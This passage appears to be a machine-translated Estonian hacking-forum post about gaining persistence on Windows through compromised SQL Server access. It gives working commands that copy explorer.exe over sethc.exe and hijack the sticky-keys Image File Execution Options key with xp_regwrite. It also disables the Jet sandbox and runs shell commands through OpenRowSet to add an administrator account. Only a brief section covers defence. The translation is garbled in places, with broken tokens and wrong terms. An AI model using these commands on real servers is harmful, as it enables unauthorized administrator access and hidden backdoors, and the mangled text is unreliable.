avatud oleku kontrollimiseks: Täitevmeister.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Oluline punkt allpool on kasutada kahte SQL-käsku, et kopeerida süsteemi explorer-fail süsteemi shift-tagaukse faili ning järgmised kaks lauset täidetakse eraldi. See avaldus kopeerib explorer.exe kui sethc.exe declare @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; See lause kopeerib sethc.exe dllcache kataloogi deklareeri @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Teised kaks väidet kasutavad sp_oacreate salvestatud protseduure, mis peavad odsole70.dll faili kasutama, seega on selle faili säilimine seotud selle loomise edukusega. (2), xpsql.cpp: Viga 5 CreateProcessist (rida 737) See olukord on keerulisem ja seda öeldakse internetis EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Kontrollisin liivakasti, et tõstatada selle asja õigusi, kuid minu praktika põhjal on see õnnestumisprotsent väga madal, sest enamik servereid on kustutanud c:\windows\system32\ias\ias.mdb. Seejärel võid proovida pildi kaaperdamist sethc-d, muidugi on pildi kaaperdamine samuti tingimuslik, 1 xp_regwrite see salvestatud protseduur 2 on 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', Silur' ei ole kustutatud Esmalt saad pärida, kas registri kleepuv võti on kaaperdatud Täitevmeister.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Kui prompt ei leia probleemi, kustutatakse tõestus, pole mingit võimalust, kui küsitakse, sql-käsku sethc.exe täita EXEC meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Silur', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Pärast viiekordset terminaliga ühendamist ja nihutamist läheb see otse töölauale ja lisab selle käsitsi.
Register muudab terminali porti
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WDS \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Pildi kaaperdamise ennetamiseks saavutatakse seda peamiselt järgmiste meetoditega:
★ Lubade piirangu seadus
Kui kasutajal pole enam registrivõtmele ligipääsu, ei saa ta neid asju muuta. Ava registriredaktor ja mine HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, vali see üksus, tee paremklõps – > õigused – > arenenud – ja vähenda administraatori ja süsteemikasutajate õigusi (siin tuleb lihtsalt kirjutamistoiming tühistada).
★ Kiire noalõikamise ja segase kanepi meetod
Ava registriredaktor ja mine riba juurde
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image faili täitmise valikud
Probleemi saab lahendada, kustutades otse pildifaili täitmise valikute üksuse.
SQL käsk kaaperdab registri kleepuva võtme paigaldamise tagaukse xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Silur','REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Tarkvara allalaadimine:Turistid, kui soovite näha selle postituse peidetud sisu, palun Vastuse
|